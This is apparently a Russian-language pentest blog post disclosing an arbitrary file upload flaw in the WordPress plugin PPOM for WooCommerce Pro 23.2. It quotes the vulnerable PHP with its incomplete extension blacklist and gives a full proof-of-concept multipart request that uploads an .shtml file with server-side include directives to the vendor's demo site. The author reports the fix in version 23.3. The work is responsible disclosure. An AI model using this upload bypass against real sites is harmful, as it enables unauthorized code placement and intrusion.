Многие веб студии, имеют уже готовый набор своих шаблонов и плагинов, для своих заказчиков. Также у них отлажена система взаимодействия через клиентские кабинеты, системы тикетов и форумы. Проводя пентест одного из таких проектов на CMS WordPress, в мое поле зрения попал плагин PPOM for WooCommerce Pro version 23.2
Плагин WooCommerce PPOM (Personalized Product Option Manager) добавляет дополнительные поля ввода на страницу вашего продукта, чтобы персонализировать ваш продукт. Поля ввода Drag & Drop с множеством опций. Цены также могут быть добавлены с опциями. Все данные будут приложены к заказу и электронной почте
Для более детального изучения плагина, с целью найти уязвимость для пробива проекта, скачал его с репозитория
Изучив код, нашел уязвимую функцию ppom_upload_file, которая приводит к произвольной загрузке файлов но для этого должен быть ключевой параметр ppom_nonce, который выдается при заполнение самой формы.
wp-content/plugins/woocommerce-product-addon/inc/files.php
1 2 3 |
$ppom_nonce = $_REQUEST['ppom_nonce']; $file_upload_nonce_action = "ppom_uploading_file_action"; $nonce= wp_create_nonce($file_upload_nonce_action); |
далее мы можем указать произвольное название файла и расширение, которое не попадает в блек.
1 2 3 |
$file_type = pathinfo($_REQUEST ["name"], PATHINFO_EXTENSION); $bad_types = array('php','php4','php5','php6','php7','phtml','exe'); |
Если у нас все хорошо, то идет процесс загрузки файла
1 2 3 4 5 6 7 8 9 10 11 |
if (strpos ( $contentType, "multipart" ) !== false) { if (isset ( $_FILES ['file'] ['tmp_name'] ) && is_uploaded_file ( $_FILES ['file'] ['tmp_name'] )) { // Open temp file $out = fopen ( "{$file_path}.part", $chunk == 0 ? "wb" : "ab" ); if ($out) { // Read binary input stream and append it to temp file $in = fopen ( $_FILES ['file'] ['tmp_name'], "rb" ); if ($in) { while ( $buff = fread ( $in, 4096 ) ) fwrite ( $out, $buff ); |
В рамках доказательства концепции, я решил проверить теорию на демо проекте плагина
В качестве шелла я прогружал
Пример запроса:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
POST /wp-admin/admin-ajax.php Host: ppom.nmediahosting.com User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: <em>/</em> Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://ppom.nmediahosting.com/product/happy-ninja-2/ Content-Type: multipart/form-data; boundary=---------------------------973114877262076017411506995 Content-Length: 1186 Origin: https://ppom.nmediahosting.com Connection: keep-alive TE: Trailers Pragma: no-cache Cache-Control: no-cache -----------------------------973114877262076017411506995 Content-Disposition: form-data; name="name" shell2.shtml -----------------------------973114877262076017411506995 Content-Disposition: form-data; name="action" ppom_upload_file -----------------------------973114877262076017411506995 Content-Disposition: form-data; name="ppom_nonce" f064b731ae -----------------------------973114877262076017411506995 Content-Disposition: form-data; name="file"; filename="1608571892.jpg" Content-Type: image/jpeg <b><font color="blue">GMT date</font></b>: <b><!--#echo var=DATE_GMT --></b><br> <b><font color="blue">Local date</font></b>: <b><!--#echo var=DATE_LOCAL --></b><br> <b><font color="blue">Document name</font></b>: <b><!--#echo var=DOCUMENT_NAME --></b><br> <b><font color="blue">Document URI</font></b>: <b><!--#echo var=DOCUMENT_URI --></b><br> <b><font color="blue">Last modified</font></b>: <b><!--#echo var=LAST_MODIFIED --></b><br> <b><font color="blue">Owner</font></b>: <b><!--#echo var=USER_NAME --></b><br> -----------------------------973114877262076017411506995-- |
Так как, я сообщил разработчику о проблеме, скриншоты с критически важной информацией исключил. Порадовало, что разработчик плагина быстро отреагировал на уязвимость и обновил плагин до версии 23.3
Сайт разработчика: najeebmedia.comИтог
Суть статьи такова, что если вы используете последние версии плагинов, это вам не гарантирует 100% безопасности проекта. Поэтому рекомендуется делать периодически профилактические меры безопасности ваших проектов, грамотно настраивать сервер, политику безопасности файлов, проводить пентесты и аудит безопасности кода, вести логи запросов, делать регулярные бэкапы проекта.